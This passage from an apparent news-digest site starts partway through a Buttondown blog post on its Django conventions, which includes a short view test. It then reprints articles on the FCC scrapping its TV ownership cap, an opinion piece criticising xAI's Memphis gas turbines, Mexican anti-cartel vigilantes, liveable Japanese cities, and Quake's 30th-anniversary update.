# app/emails/views/record_lifecycle_email_open--test.py
# `account` is a hand-rolled fixture, colocated in account/model--mock.py and
# registered via pytest_plugins — no factory_boy, no mock.patch.
def test_records_open_event(account):
    encoded = encode_open_payload(str(account.pk), "unconfirmed")
    request = RequestFactory().get(f"/lo/{encoded}/")

    response = view(request, encoded)

    assert response.status_code == 200
    event = LifecycleEmailEvent.objects.get(account=account)
    assert event.event_type == LifecycleEmailEvent.EventType.OPENED

The things we leave out

Where Rails is famously omakase, one of the things I love most about Django is all the things not mentioned above — the ones we decided, for one reason or another, weren't the right fit for us.

Some examples:

Signals. I'm not even sure you can say we don't use them, so much as we don't abuse them. We have exactly one signal in play, a lightweight link into django-allauth. We've found that internal use of signals — connecting two bits of code that we ourselves own — is an anti-pattern that makes it harder to reason about what's happening, or to improve things for performance's sake down the line.

Class-based views. I think class-based views have some merit in some contexts, but one of the hardest things to deal with when bopping around a codebase is context-switching between a function-based view and a class-based one. And whatever slight marginal benefits a CBV might have for one use case or another, it pales in comparison to being able to be very doctrinaire and standardized about how every single view works.

Apps. We don't use apps in the conventional modular sense that Django suggests, for two main reasons. One, it's very difficult to deal with cross-app migrations, particularly squashing them. And two, it doesn't provide an obvious benefit over other organizational approaches — of which Django is largely agnostic — like just grouping related models in a folder. We have two exceptions to this rule. The first is our core API infrastructure, the bones of which live in their own app, solely because I built it that way before I had a more sophisticated view. The second is anything we think we might want to abstract out into a third-party package or open-source, where an app helps front-load some of the boundary-setting between it and the rest of our codebase.

The admin. Django's admin is a marvel for getting off the ground, and we leaned on it heavily in the early days — but we eventually outgrew it and built our own internal tooling instead.

Checks. I think checks are actually really cool, and part of me bemoans not using them more. I've found that adopting weird tests is a simpler way to enforce various constraints within the system. It costs a bit of performance — you can say that technically the REPL is slower — but again, it's one fewer moving part.

Forms and front-end stuff. We don't use Django's form abstraction whatsoever. In fact, our approach to building out the front end of the application is somewhat interesting: we lean on more of a hydration-based pattern, in which Django's job for most authenticated views is to render a thin shell and seed it with data, not to produce HTML. A single view backs nearly every page of the app — it resolves the session, serializes the account (and, for a handful of routes, a first page of the relevant resource) into json_script tags, and hands off to Vue, which boots and hydrates from that payload instead of paying for an API round-trip on load. Django renders the bones; the SPA does the rest.

Why did I use Django in the first place?

Buttondown is written in Django for a boring but revealing reason: it's what I knew at the time. Back in 2018, I was working for a company whose stack was Django and Vue, and I had been hired as someone with extensive amounts of Django experience (meaning: I knew what South was, for you fellow old-timers.)

One of my longstanding philosophies has been to limit innovation tokens. I didn't want to spend time context-switching between frameworks as I went from my day job to my side project. Over the intervening eight years, I've found myself ruing my choice of Vue as a front-end framework — but I can honestly say that, even if it wasn't a meticulously reasoned and considered choice, I have not for one second regretted using Django.

The Daily Front Page 15 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Airwaves Consolidate
article

Federal Communications Commission scraps limit on broadcast TV ownership

by pseudolus·▲ 147 points·105 comments·nbcnews.com ↗
eliminate a cap on the share of U.S. television households a single company can reach

The move sets the stage for more corporate consolidation in the media industry.

	2262581403

FCC Chairman Brendan Carr, center, during an open commission meeting at the FCC headquarters in February.Al Drago / Getty Images

The Federal Communications Commission, the government agency that regulates the broadcast airwaves, voted Thursday to eliminate a cap on the share of U.S. television households a single company can reach, a major move that could pave the way for more corporate consolidation in the media industry.

In a 2-1 vote, the FCC repealed a 22-year-old rule holding that a company cannot own stations that reach more than a combined 39% of the U.S. television audience. The ownership limit will be replaced by a case-by-case approach.

The decision to remove the cap had been widely expected. FCC Chairman Brendan Carr last month wrote an op-ed for the conservative news website Breitbart calling the ownership limit an “outdated” policy that blocked local broadcasters from “gaining the same scale that their competitors are free to enjoy.”

“The cap no longer constrains the power of national programmers. Instead, it prevents local broadcasters from competing on a level playing field,” said Carr, a Republican who was appointed head of the FCC at the start of President Donald Trump’s second term.

The 39% cap has been in place since 2004, when Congress boosted a previous 35% limit set in the 1990s. The rule remained unaltered for more than two decades partly because it is codified in federal law.

Carr has contended that the FCC nonetheless has statutory authority to scrap the rule — a position that is likely to face legal pushback. Free Press, a progressive consumer group, said it planned to sue over the FCC’s “unlawful power grab.”

Anna M. Gomez, the lone Democratic commissioner on the FCC, blasted the vote in similar terms, calling it “unlawful on its face.”

“Eliminating the cap does not free local broadcasters from economic pressure, it just changes who is doing the squeezing,” Gomez said in a statement. “The large station groups positioned to grow even larger under this decision are not local broadcasters, they are national companies that own local stations and increasingly dictate what airs on them.”

The vote pitted Gomez against Carr and a third commissioner, Olivia Trusty, a Republican who was also appointed by Trump.

The FCC’s move delivers a win to Nexstar Media Group, the nation’s largest owner of local television stations. Nexstar is seeking to acquire rival broadcaster Tegna in a $6.2 billion deal, though a federal judge put the transaction on hold after eight state attorneys general filed an antitrust lawsuit. The combined entity would reach at least 60% of U.S. households.

Carr announced in March that Nexstar’s purchase of Tegna had been exempted from the 39% rule on a stand-alone basis, saying that decision was “consistent with longstanding FCC authorities.”

Nexstar and other top broadcast station owners have repeatedly urged the FCC to nix the limit, arguing that it prevented local TV channels from competing in a crowded media marketplace increasingly dominated by streaming video services, social media apps and other platforms that are not subject to similar ownership regulations.

“These rules were last updated before Netflix streamed a single movie, before the first iPhone, and before Instagram existed, and they continue to single out local broadcasters based on a competitive landscape that disappeared with the VCR,” a Nexstar spokesperson said after the FCC announced it would vote on the rule.

“No one would suggest limiting the reach of YouTube, Amazon, or CNN, yet local broadcasters are still forced to compete under rules written for a different century,” the spokesperson added.

Carr’s efforts to scrap the rule have drawn vocal opposition from some consumer advocates and lawmakers. The opponents of the rule change have argued that nixing the cap would accelerate media consolidation, trigger rounds of layoffs, shrink the pool of independent station owners and limit viewpoint diversity on the airwaves.

“Trump’s FCC Chair is trying to illegally rewrite the rules to make it easier for billionaires to line their own pockets while jacking up costs and controlling what Americans watch,” Sen. Elizabeth Warren, D-Mass., said. “After rubber-stamping the Nexstar-Tegna megamerger, this looks like the Trump administration’s latest attempt to roll out the red carpet for more antitrust disasters.”

The FCC’s critics have also repeatedly questioned whether Carr has the legal authority to change a policy put in place by an act of Congress.

“Brendan Carr cannot undo the limit that Congress set just because he feels like it,” said Matt Wood, the vice president of policy and general counsel at Free Press.

The Daily Front Page 16 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Buildout’s Bill
article

xAI, SpaceX, and the Race for AI Buildout

by speckx·▲ 138 points·115 comments·illegal.solutions ↗
Rules For Thee, Not For Me

xAI Ignores Laws And Profits: Rules For Thee, Not For Me

In the latest example of corporations existing outside of the law, SpaceX (who is for some reason the controlling entity of xAI now) announced they'll be removing the illegal, unpermitted gas turbines they've been running at their Memphis Colossus data center... by July 2027. xAI gets to flout economic planning and restrictions that any normal group would have to follow, all for the sake of being able to get another fuckass data center built in record time. In the meantime, real people will face declining health and increased pollution. This is not a new story, but it's worth telling anyway.


xAI, SpaceX, and the Race for AI Buildout

For those blissfully unaware, xAI is the subsidiary of SpaceX (previously under X, which itself was previously Twitter) that is in charge of AI development and data centers for the xAI series of products. This includes Grok, which has thus far been involved in controversies including but not limited to:

  • Spreading antisemitic slurs and conspiracies while calling itself "Mecha-Hitler"
  • Creating widespread non-consensual nude images of primarily women and children
  • Acting as a mouthpiece for Elon's racist belief in South African white genocide
  • Generally being used by chuds to try and back up or reject things they don't like ("Grok, is this true?")

Beyond that, xAI has also been happy to partner with the federal government for the use of its models across agencies including the Department of Defense (come on, enough with this Department of War shit). Now with a product like that, you might be surprised to learn that some people aren't jazzed about its continuing development and growth, especially when it spews smog in their backyard. xAI continues to barge forward however; decriers be damned in the name of "progress".

The AI models keep expanding, requiring more memory and cores for what "improvements" there are. So the name of the game right now is data centers; acres and acres of computer racks, loaded with the best money hardware can buy (and some less so, given the current supply crunch). These racks are needed to keep up with the ballooning requirements of each new "frontier" (a buzzword label with no actual inclination of performance of improvement) model developed, which everyone bought into the AI hype will immediately hop to because it's all novelty over utility.

Colossus: A Short History

The Colossus I Data Center was brought online in 122 days from breaking ground to operation. Some hail that as an achievement, but others (like myself) see it as a brutal pace to avoid having to answer pesky questions like "How will this affect the nearby area?" and "What sort of mitigation plans to do you have for the data center's waste?" The data center is powered by dozens of unpermitted gas turbines, which they initially refused to acknowledge were running until journalists and groups used thermal imaging to prove they were indeed on and spewing toxins into the air (including smog, formaldehyde, and other nasty things). This resulted in a suit from the Southern Environmental Law Center (SELC) on behalf of the NAACP for violations of the Clean Air Act. Their claim was that the company operated without public oversight or accountability for these illegal constructions and sought legal stoppage until proper accounting can be done of the effects of said turbines.

Enter the Federal Government and the Department of Justice, who pushed the courts to dismiss the suit as a matter of national security, stating that the xAI models were needed for "artificial-intelligence innovation that supports the Department of War’s military operations." So, residents are left without legal means of contesting these developments, barring individual claims and damages.

This all brings us to July 30, 2026, where xAI announced that the company had entered an agreement with the Mississippi Department of Environmental Quality (as it sits on the border of Tennessee and Mississippi) that it will complete removal of the "temporary" turbines (now online for 2 years) and replace them with a natural gas power plant by July 2027. This reads, to me at least, as a swift stomp on the balls of the nearby area for several reasons. First, it seems all but certain they will face no punishment for spewing toxins into the environment for the past years because this is now in a timeline agreed upon by the state, with no announcement of any fines or actions.

"Facts" and "Fiction"

Embarassingly, they can't seem to get their propaganda straight either, as in their update on the construction where they announced the agreement, they specify "69... temporary, mobile turbines that currently power our facility in Southaven, Mississippi." This seems at odds with their "Fact V. Fiction" FAQ linked at the bottom of the page, which contains a string of statements I truly can't make heads or tales of. Please check out the link and we'll reconvene to talk about what it says.

So according to statement one, there were temporary turbines, but they were moved to an extremely nearby different site, and then they were removed. They applied for 15 permanent turbines, still running the temporary ones in the meantime, and received approval 6 months+ later. However, they won't need that many, and they'll only be backup, so they'll primarily (assumedly) be drawing from the local power grid. The next statement clarifies that there won't be any turbines at Memphis data center; they'll be down the road at Electrolux, connected via substation that talk about spending millions to build in statement seven. In statement two, they say that there's nowhere near 90 turbines at its next data center (a number significantly higher than any I've seen in these conversations, most likely to make them sound silly), and say that they'll not have any turbines at the new one (because it'll be wired in to all the turbines they have elsewhere).

They'll eventually be hooked into the grid according to the statement three, and they will draw from it but have battery and turbine backup if things get overdrawn according to statement five. There's then extremely careful wording in statement six where they contest "Colossus will be one of the largest emissions sources in Memphis" by stating "actually we'll be using state-of-the-art to reduce emissions" but then stops short of saying "and thus the statement is wrong", probably because even with the fancy tech it still will be highly polluting.

So after all these words and attempts to clear the air, the only thing I'm confident in is that they absolutely, desperately do not want to directly discuss their overall plans for these sites. They make every opportunity to speak around and negate concerns, without really clarifying the extent of anything barring the 12 (claimed) permanent turbines at Electrolux and two power substations. I guess they also do claim the wastewater treatment was supposed to come online in 2026, however officials were told last month that construction on the site isn't even supposed to restart until Q12027. In the meantime, they will continue to drain the area's aquifer. It is unclear how long they need to complete it.

So, Why Memphis?

I, and other smarter people, would attribute the location of this data center, and its use of unpermitted gas generators which it denied for months existed or being used, to institutional and historic racism. See, Memphis is a majority Black population, who historically have been redlined to more industrial and polluted areas such as these across the country. This is a known issue to this day, where minority heavy neighborhoods will be subject to worse pollution and health outcomes than similar, whiter areas. This includes things like this exact situation, where the development of health hazards such as data centers are allowed only in less affluent and darker communities. The situation in Memphis is actually worse than I thought, as there somewhere in the range of 10-15 data centers in the outlying Memphis area where people very much do live.

The physical pollution coming from Colossus' 69 gas generators is one thing that indisputably will hurt the environment around the area and its residents. However, there's growing concern around audio or sonic pollution and the effects it has on flora, fauna, and people in the area. That type of pollution can include easy-to-identify things, like the loud sounds of construction or machinery moving then disrupting sleep and normal life, but it also includes infrasonic pollution, or audio that is below the range of human hearing (sub 20mhz). Despite humans not being able to hear it, there's growing academic and other research that show these sounds can and do have very direct negative health effects, up to several miles away. This can include things like a general sense of unease all the way to debilitating migraines, nausea, and other symptoms. The fact that these sort of symptoms have been reported across many communities that have had data centers pop up and this data center (plus at least one more from xAI alone to come) were allowed to be be built so close to housing shows a damning disregard for the health and well-being of the people living there.

No One Is Held Accountable For "Moving Fast And Breaking Things"

This is the Silicon Valley ethos used to justify harm in the name of "progress". It's one thing when it's contained to Silicon Valley or on the worldwide web, it's another when it comes to your backyard or to the health of entire communities. The pollution, amongst everything else, will have clear and quantifiable harm to the communities surrounding these new data centers. Normal, smaller developments are bound by permits and hearings and the like. These permits require impact reports or citizens to sound off on the ways that it will effect them. Clear, traceable paths where developers can be held liable for deadlines, emissions, and negative outcomes.

xAI faces none of those things. Their developments are draped in shadow and purposefully not publicized because they are aware of how bad what they're doing is. They hope that if they just refuse to talk about it long enough, eventually we'll just accept this as the price of progress and let them off the hook for purposefully making life worse for a considerable amount of people. All this for the war crime and child porn generator; for something that's being used to harass women online right now. All this for something a majority of people don't even want; to add to the bottom line of SpaceX. We should not be willing to overlook the human and environmental costs for a company to profit. We've done that far too long, and look where we are now; talking about a bunch of illegal generators stood up to make the racism machine work more gooder.

The Daily Front Page 17 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Armed Against the Cartels
article

Civilians under siege by Mexican cartel fight back with AK-47s, grenades

by starkparker·▲ 101 points·86 comments·pbs.org ↗
one of dozens of "self-defense," groups that have emerged over the past decade

Mexican President Claudia Sheinbaum attends a disarmament campaign in Mexico City

GUAJES DE AYALA, Mexico (AP) — Jesús Domínguez pushes through thick brush lining a rugged mountainside with an AK-47 slung over his shoulder and a grenade fastened to his leather belt.

He marches alongside a pack of camouflage-clad men patrolling the rural stretches of Mexico against one of the country's most powerful drug cartels.

Armed with military-grade weapons smuggled from the U.S., the 50-man force is one of dozens of "autodefensa," or "self-defense," groups that have emerged over the past decade in Mexico to fight increasingly sophisticated cartels in areas far out of the reach of security forces.

"The government doesn't care about us, and it's impossible for our arms to compete with (the cartel's)," said Domínguez, 34, from a watch post overlooking the mountains of Guerrero state. "They come at you with a ton of force, so you need to respond with force…If you don't, they'll overwhelm you."

The vigilantes in Guajes de Ayala join a volatile landscape of warring armed groups – from cartels with tentacles across Latin America to local mafias – in regions like Guerrero ravaged by splintering cartels for decades. It's a tangle Mexican President Claudia Sheinbaum will have to unravel under pressure from the Trump administration and fears of more violence following the killing of Mexico's most powerful drug lord.

'We don't want to be slaves'

The vigilante group was formed in 2020 when the cartel La Nueva Familia Michoacana tried to take control of seven communities buried deep in the mountains along a strategic throughway connecting cartels to the port city of Acapulco, where drugs and other illegal goods flow.

Residents said the cartel, designated a foreign terrorist organization last year by the Trump administration, started illegally logging in their lands and tried to force residents to join fights against rival gangs.

In the absence of Mexican military and police forces, locals armed themselves. Sporadic fire fights stretched on for nearly a year. Residents fled on foot, walking hours through far-off mountains with little more than the clothes on their backs. Communities of 1,600 people dwindled to just 400.

After a pause in the conflict, the vigilantes rearmed in October when the Nueva Familia Michoacana began to again push into their territory, setting up fentanyl labs and monitoring them with drones, said the group's leader, Javier Hernández.

Now, the men guard their towns from mountain watch posts and surveil 100 cartel gunmen camped out a few miles (kilometers) away using their own drones.

"We don't want to be part of their ranks and we don't want to leave our lands," Hernández said. "We don't want to be slaves to any cartel."

'They corner you'

Conflict is more entrenched in Guerrero than in most Mexican states, with a history of militancy dating back to guerrilla movements in the 1960s. The landscape has grown increasingly complex as cartels have fractured into rival factions creating a much different situation than in the past when one cartel held monolithic control over a region. According to a 2025 DEA report, five cartels operate here. So do various local gangs and vigilante groups, many of which are allied with the larger cartels.

"You have a kaleidoscope of armed groups," said Mónica Serrano, a professor at the Colegio de Mexico studying violence in Guerrero. "It's one of the most vexing challenges facing the country and is at the root of the violence."

Self-defense forces took off in Michoacan and Guerrero around 2013. Like the group in Guajes de Ayala, they were formed as a desperate attempt to avoid being caught in the crossfire of warring cartels.

But in places where criminal groups are more present than law enforcement, nearly every vigilante movement that has emerged in recent history has either been coopted by rival cartels or massacred. Mexico's government has been split about whether it should talk to vigilantes or treat them as criminals.

In some cases, groups became cartel paramilitary forces themselves, flush with money and terrorizing the communities they claimed to protect. In others, cartels armed local citizens to help fight off rival gangs.

"They corner you and you can't do anything," Domínguez said. "That's how what's been created – which began as autonomy – is corrupted. People end up joining criminal groups just to survive."

Made in USA

The Guajes de Ayala community said it remains independent, but forces wield equipment far beyond the means of local farmers, including drone detection systems and tapped radio frequencies, and DJI drones worth thousands of dollars to spy on cartel gunmen.

They carry AK-47s and AR-15s stamped with "MADE IN USA" and names of gun makers in Florida, South Carolina and even Poland. Because Mexico has strict gun control laws, the vast majority of arms in Mexico are smuggled from the U.S. by cartels.

One gunman confirmed the vigilantes purchase guns from cartels, but would not say from which group.

Another said he was once part of the Jalisco New Generation Cartel, or CJNG, and was paid to join the vigilantes. Another wore a hat reading "El Señor de los Gallos," a nickname for Nemesio Oseguera Cervantes, the powerful CJNG leader slain by Mexico's military in February.

Two local criminal gangs fighting with the Nueva Familia Michoacana allow Guajes de Ayala residents to transit their territories to not be closed in on all sides like in the past.

At the same time, Hernández said he feeds intelligence of the rival cartel to law enforcement, and that his group turned down alliance offers from other vigilante groups known for preying on civilians.

The proliferation of armed groups across Mexico is a test for Sheinbaum as she seeks to offset Trump administration threats of U.S. military intervention.

Under Sheinbaum, security forces have come down on criminal groups with a heavier hand than her predecessors. Homicides sharply dipped since she took office to the lowest levels in a decade, government figures show.

But Hernández said, for them, things are worse than before.

"It's a lie. They say the government is doing wonders, but it's nothing but propaganda," he said.

The killing of Oseguera Cervantes, or "El Mencho" was a major blow to Mexico's most powerful criminal enterprise. But experts and some in communities like Guajes de Ayala worry it could fuel more violence if other criminal groups make violent power grabs or if rival factions of CJNG war for control.

One Marine captain in Guerrero, who spoke on condition of anonymity out of security concerns, said his forces were "preparing for a possible reorganization of these groups." He added Mexican forces haven't abandoned communities like Guajes de Ayala, and respond to calls for help from rural areas.

'A place of silence'

The villages in Guajes de Ayala have become ghost towns filled with vacant homes of people too scared to return.

Marisela Mojica, Domínguez's mother, sent six of her children and grandchildren away after her daughter was kidnapped by people claiming to be the Nueva Familia Michoacana.

"If they come to kill us all, I want one of us to still be alive," she said.

Mojica said she hasn't seen her family in six years or met two grandchildren born after the family fled. She doesn't know if she ever will.

Teachers too scared to cross from one criminal group's territory to another stopped coming to classes in October, leaving schools abandoned. Government medical clinics have shuttered.

Hernández counts the abandoned homes left in ruins as he and his gunmen drive out to patrol the rolling peaks and valleys enveloping them.

"These mountains are a place of silence," he said. "You have no voice, and no one hears you."

The Daily Front Page 18 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Cities at Human Scale
article

Four simple rules behind Japan's most liveable cities

by tchalla·▲ 95 points·128 comments·bbc.com ↗
remove the everyday frustrations of urban life

Getty Images Aerial view of central Tokyo at dusk with skyline rising behind a large park (Credit: Getty Images)

From neighbourhood shopping streets to accessible transport, Japan's most liveable cities remove the everyday frustrations of urban life.

What makes a city genuinely easy to live in? It's not necessarily gleaming skyscrapers or world-famous attractions, but whether you can get to work without a car, do your shopping on foot, navigate a train station in a wheelchair or push a pram safely down the pavement.

Japan's cities are especially good at this. In the Economist Intelligence Unit's 2026 Global Liveability Index, Osaka ranked seventh and Tokyo rose three places to 10th, making Japan the only Asian country with two cities in the top 10.

This rise reflects perfect scores in the index for stability, healthcare and education, as well as strong infrastructure. But residents say the real difference is in the intentional and accessible design choices that make life run smoothly.

"Japan is built to work for everyone," says Josh Grisdale, a power wheelchair user who runs Accessible Japan and has lived in Tokyo for 18 years. "The same ramps, elevators and space I use as a wheelchair user help a parent with a stroller, an older person or someone lugging a suitcase in from the airport."

For architect Francis Aguillard, who has studied Japan's urban design, the simple daily details often have the biggest impact. "Liveability often comes down to reducing the friction of ordinary life," he said. "Can someone reach work, school, groceries, a park, a doctor and friends without structuring the entire day around a car?"

For many Japanese residents, the answer is yes. We spoke with them and urban planning experts to learn how the country designs cities that work well, and the rules that make them feel so easy.

1. Build cities around everyday life

Much of daily life in Japan plays out in the shotengai (covered shopping streets lined with independent businesses whose owners often live above their own shops). "A greengrocer, old coffee shop, clinic, 100-yen shop and dinner [options] all sit within a few flat, covered blocks," says Grisdale.

Grocery shopping was a chore that American Patrick Lydon dreaded when he lived in the United States. After moving to a modern Osaka neighbourhood, he and his wife traded their cars for bicycles, while a smaller house and a tiny refrigerator meant shopping more frequently.

Getty Images Tenjinbashi Shotengai in Osaka is one of Japan's longest covered shopping streets (Credit: Getty Images)

Tenjinbashi Shotengai in Osaka is one of Japan's longest covered shopping streets (Credit: Getty Images)

"Somehow, the experience is really pleasant," says Lydon, who writes The Possible City, an illustrated essay series examining life in Japan and Korea. "Grocery shopping can be transformed from an errand into a daily social experience that connects you to a neighbourhood. Everyone from kids to the elderly move through that street on foot every day."

It's a concept that's difficult to replicate elsewhere, but Lydon compares it to what made old Main Street America so special. Designing at a people-first scale pays off. "The smell of fried croquettes drifting onto the streets, small shops run by the building owners, easy public transit access, a feeling of safety and community for all ages… it's hard to overstate how well this all works."

Japanese cities are also designed so that vehicles fit the streets rather than the other way around, with compact delivery vans and tiny kei trucks navigating lanes built to a human scale. "City streets in Japan often function as shared spaces where pedestrians, bikes, and vehicles can coexist," says Aguillard. "Rather than creating chaos, it creates a beautiful dance of activity."

2. Design transport for everyone

Japan's transit systems are renowned for their reliability, safety and cleanliness. "The amazing public transportation network can take you everywhere," says Keiko Ota, regional operations manager at G Adventures, who has lived in Tokyo for more than a decade. "I don't have a driver's licence, but I still feel complete freedom to go anywhere."

Getty Images Tokyo's extensive rail network, step-free stations and reliable services make it easy for people of all ages and abilities to get around (Credit: Getty Images)

Tokyo's extensive rail network, step-free stations and reliable services make it easy for people of all ages and abilities to get around (Credit: Getty Images)

Grisdale likes that in Japan, public transit is accommodating and he doesn't have to plan ahead when travelling as he does in other countries. "Coming from Canada, I still find it strange that I can show up at almost any station [in Japan] and get where I'm going by rail or bus, on time, without reservations," he said. "Elevators are very rarely out of service, and when one is down there's a plan B; staff will bring a portable stair climber rather than tell me it can't be done."

His experience reflects a two-decade national retrofit following Japan's 2006 "Barrier-Free" law. By 2020, more than nine in 10 highly trafficked stations had eliminated the need to climb steps, with lifts installed at thousands of stations across the country.

In Tokyo, Grisdale finds that the city is still responsive to active and ongoing feedback. When flower planters in his local park sat too close together for his wheelchair to pass, Grisdale mentioned it to the parks department. Within days, stickers reminded staff to leave enough room for wheelchair users to pass through.

Japan's approach to accessibility has shaped cities far beyond its borders. The yellow raised paving used by visually impaired pedestrians worldwide was invented by Japanese engineer Seiichi Miyake in 1967 to help a friend who was losing his sight. Within a decade, it had become mandatory at the country's national rail stations. "Japan gave those to everyone," says Grisdale.

3. Preserve a sense of place

Despite its famous bullet trains and busy urban hubs, Japan also values patience, continuity and a respect for tradition.

When Lydon registered his residence in Osaka, the district office worker pulled out a giant map book, erased the previous occupant's name and pencilled his in. "As a guy who grew up working at Silicon Valley tech firms, that blew my mind," he said. "Japan often doesn't replace systems simply because newer technology exists. If something still works reliably, there's less pressure to reinvent it.

Getty Images Rather than replacing historic sites, Japanese cities often build aroud them (Credit: Getty Images)

Rather than replacing historic sites, Japanese cities often build aroud them (Credit: Getty Images)

That patience shows up in the landscape too, where centuries-old trees survive in ordinary neighbourhoods and even train stations, like the 700-year-old camphor growing straight through the roof of Kayashima Station near Osaka.

"Living in Japan made me notice how often old trees are treated as something worth accommodating rather than removing," Lydon said. "Whether that's because of Shinto tradition or simply people's affection, the result is striking. There's a difference between building infrastructure on top of a place and building it with a place.

Even in the busiest business districts, everyday life is woven into the city. "You'll see people rushing to meetings, then turn a corner and find a small shrine that's been there for generations, or a tiny restaurant where the owner seems to know every regular by name," says Masato Kominami, general manager of 1 Hotel Tokyo, who walks through the Akasaka district most days. "In the middle of a busy workday, you hear birds, notice how the light changes through the trees or catch the scent of the season."

4. Maintain manners in shared spaces

Human-scaled infrastructure only tells part of the story; the people who live in Japan's cities also create the conditions for thriving. "Tokyo is incredibly busy, but people instinctively think about how their actions affect others," said Kominami. "It's not something people talk about much; it's simply part of everyday life."

Getty Images Courtesy and consideration help keep Japan's busy cities running smoothly (Credit: Getty Images)

Courtesy and consideration help keep Japan's busy cities running smoothly (Credit: Getty Images)

Grisdale depends on that cooperation, and after nearly two decades living here, he ranks it alongside anything a government can build. "The manners matter as much as the hardware," he said. "People queue on the platform marks, keep the trains quiet and give up priority seats and space without being asked. In a city this size, that keeps daily life calm for everyone."

In Osaka, Lydon found himself changed by the way Japan operates with awareness and consideration for others. "Whether it's lining up for trains, speaking quietly in public, not littering, separating recycling or saying 'itadakimasu' ("I humbly receive") before a meal, many daily habits remind you that you're part of something larger than yourself," he said. "Maybe that's not a magic spell to fix the ills of the world, but personally it did help me lean towards kindness, beauty and peace."

The Daily Front Page 19 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Thirty Years of Quake
article

Quake – 30th Anniversary Update

by dsubburam·▲ 263 points·127 comments·slayersclub.bethesda.net ↗
a new episode, Dawn of the Machine

Key art for Dawn of the Machine, featuring an angelic statue forming the Quake "Q" symbol.

To celebrate the 30th Anniversary of Quake, we have collaborated with MachineGames to create a new episode, Dawn of the Machine, now available as a free update to Quake.


🆕WHAT'S NEW

Key art for Dawn of the Machine, featuring an angelic statue forming the Quake "Q" symbol.

⚙️DAWN OF THE MACHINE

A large gate stands, with each side coming together to form a massive "30"

Celebrating 30 years of Quake, the award-winning team at MachineGames—in collaboration with id Software—returns with Dawn of the Machine, a brutal new episode building on their critically acclaimed work on Dimension of the Machine and Dimensions of the Past. Delivering ferocious combat, labyrinthine level design, and nightmarish realms that twist reality beyond recognition, it pushes the legacy of the genre-defining first-person shooter even further—honoring one of gaming’s most enduring icons.

🏃‍♂️‍➡️END THE NIGHTMARE. 😶‍🌫️ESCAPE THE ILLUSION.

An ominous chamber features skull-adorned fixtures and a character hanging upside down from the ceiling.

Ranger is trapped in a dimension of endless illusion—reliving the same violent cycles for what feels like lifetimes, dying thousands of times in a futile attempt to escape. Wearied but unbroken, he has heard rumor of The Nightmare Machine.

Beyond the hordes of monsters—twisted by an eternity in the Elder realms—lies the Machine. It is believed its destruction will shatter the illusion, finally breaking the loop.

🆓FREE FOR QUAKE OWNERS

An angelic statue sits beneath a spotlight inside an antechamber.

Dawn of the Machine is available as a free update for Quake owners on XBOX Series X/S, XBOX One, Microsoft PC Store, Game Pass, PC Game Pass, Steam, PlayStation 5, PlayStation 4, Nintendo Switch 2 (via backwards compatibility), and Nintendo Switch versions of Quake. This expansive new episode features 19 all-new maps across a cohesive campaign, alongside a brand-new soundtrack, hidden secrets, a dedicated episode hub, and an all-new deathmatch map.

👹NEW ENEMY AND ⚔️WEAPON VARIANTS

Gameplay of Dawn of the Machine featuring combat against Rocket Ogres.

Face deadly new twists on familiar foes, including the Rocket Ogre, Demo Dog, Blood Shambler, and more. Each variant introduces lethal new behaviours—from overwhelming firepower to explosive death traps—forcing you to rethink every encounter. Expand your arsenal with brutal variants inspired by classic Quake expansions, including the Super Axe—unleashing lightning on successive strikes—and the Laser Cannon, firing ricocheting projectiles that tear through enemies from every angle.

♻️REPLAYABLE EPISODE LOOP

A high-rising castle stands as moss and ivy rest on its walls.

Time folds back on itself in a unique looping structure, where each return reshapes the experience. Runes unlock previously sealed paths, drawing you back through familiar spaces now altered with new routes, encounters, and secrets waiting to be discovered. Persistent health and ammo upgrades found throughout the realm ensure each loop makes you stronger, introducing a new layer of progression to Quake.

🎭EXPECT THE UNEXPECTED

The player aims a Laser Cannon down a futuristic corridor.

Reality is never stable. Shift between dimensions to solve puzzles and navigate the world, or find hidden secrets scattered throughout the realms. Face enemies that rise again or transform after death, and experience encounters where the rules change without warning—forcing you to adapt or be overrun.


🔒id VAULT

Browse a behind-the-scenes gallery of development assets and unused content. Explore playable maps, including some levels from the earliest stages of Quake’s development.


🏆NEW ACHIEVEMENTS

Three new achievements are available to earn while playing Dawn of the Machine.


🤫CHEATS MENU

Access the new Cheats menu at any time in single player games to help you through a tough area or just explore levels without fear of enemies.


🛠️FIXES

ALL PLATFORMS

  • Improved interpolation. This reduces input latency and lessens occurrences where the camera would visually fall behind your weapon and weapon effects
  • Fixed an issue where the camera would interpolate between position changes that were too large to possibly be stairs (silent teleporters)
  • Re-added weapon bobbing effects when view bobbing is disabled
  • Weapon bob can now be turned on or off separately from view bob
  • Removed shadow casting from Hell Knight projectiles to improve visuals in its ranged attack
  • Shadow casting lights from enemies are now capped to improve performance in scenes with lots of Enforcers firing weapons
  • Reduced memory usage from menus
  • Improved font rendering when using the larger accessible typeface

PLAYSTATION 5

  • Fixed weapons in Scourge of Armagon not having controller vibration or controller speaker sounds

👷MODDING CHANGES

  • Localization strings are now stored in the Quake PAK, instead of outside the game data in the KPF file. Third party engines that previously read strings from the KPF file will need to be updated to read from the PAK file and should no longer need to load the KPF file at all
  • Mods can optionally add new mod-specific localization by overriding localization/loc_(language)_mod.txt in their PAK files

❓FAQs

I already own Quake. How do I access the new episode, Dawn of the Machine?

If you already own Quake, you’ll receive the new update automatically as a free download. Depending on your settings, the update may already be installed. Once updated, you can start a new game, select a level, or play cooperative multiplayer in Dawn of the Machine.

Which platforms is Dawn of the Machine available in Quake?

Dawn of the Machine is currently available on XBOX Series X/S, XBOX One, Microsoft PC Store, Game Pass, PC Game Pass, Steam, Nintendo Switch 2 (via backwards compatibility), Nintendo Switch, PlayStation 5 and PlayStation 4 versions of Quake.

Is Dawn of the Machine available on the Epic Games Store or GOG versions of Quake?

Dawn of the Machine is currently not available on the Epic Games Store or GOG versions of Quake.

I play Quake on GOG or the Epic Games Store. Why do I see a “Disconnected from servers” message when invited to play Dawn of the Machine maps with players on Steam or console?

If you’re playing Quake on GOG or the Epic Games Store, you may see a “Disconnected from servers” message when accepting an invitation from a Steam or console player for Dawn of the Machine episode or maps. This message appears because the Dawn of the Machine update is currently available on supported platforms, while the GOG and Epic Games Store versions do not yet include this content. Your account has not been disconnected or penalized.

